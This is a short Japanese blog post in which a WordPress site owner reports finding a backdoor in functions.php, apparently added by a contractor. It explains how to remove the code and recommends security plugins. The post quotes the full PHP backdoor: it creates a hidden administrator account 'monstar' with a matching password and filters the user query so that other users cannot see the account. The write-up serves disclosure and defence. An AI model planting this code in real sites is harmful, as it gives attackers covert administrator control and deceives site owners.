Functions.phpに以下のコードが

/** Required Functions **/
$new_user =new WP_User(wp_create_user(‘monstar’,’monstar’));
$new_user->set_role(‘administrator’);

add_action(‘pre_user_query’,’google_access_user_query’);
function google_access_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != ‘monstar’) {
global $wpdb;
$user_search->query_where = str_replace(‘WHERE 1=1’,
“WHERE 1=1 AND {$wpdb->users}.user_login != ‘monstar'”,$user_search->query_where);
}
}

検索結果にもすでに表示

new_user =new WP_User(wp_create_user(‘monstar’,’monstar’)); $new_user->set_role(‘administrator’); add_action(‘pre_user_query’,’google_access_user_query’); function google_access_user_query($user_search)

で検索すると、セキュリティ対策サイトが検索上位に出てくるとともに、私のサイト自体も表示されてしまいます。

応急措置と参考サイト

応急措置は、functions.phpの該当コードを消去することです。

また、上の検索結果画面の下に表示されているサイトに状況の詳細が書かれていますので、参考となります。

顛末

今回はサイトの修正を依頼した受託者が、多数のプロジェクト案件を抱えているということで、このようなコードを勝手に追加したということです。

依頼した人が攻撃者となる可能性も潜在的に存在しているので、セキュリティ周りのチェックには余念のないようにいたしましょう。

もともとWordFenceをインストールしていますが、こういったプラグインの導入は、最低限必要かと思います。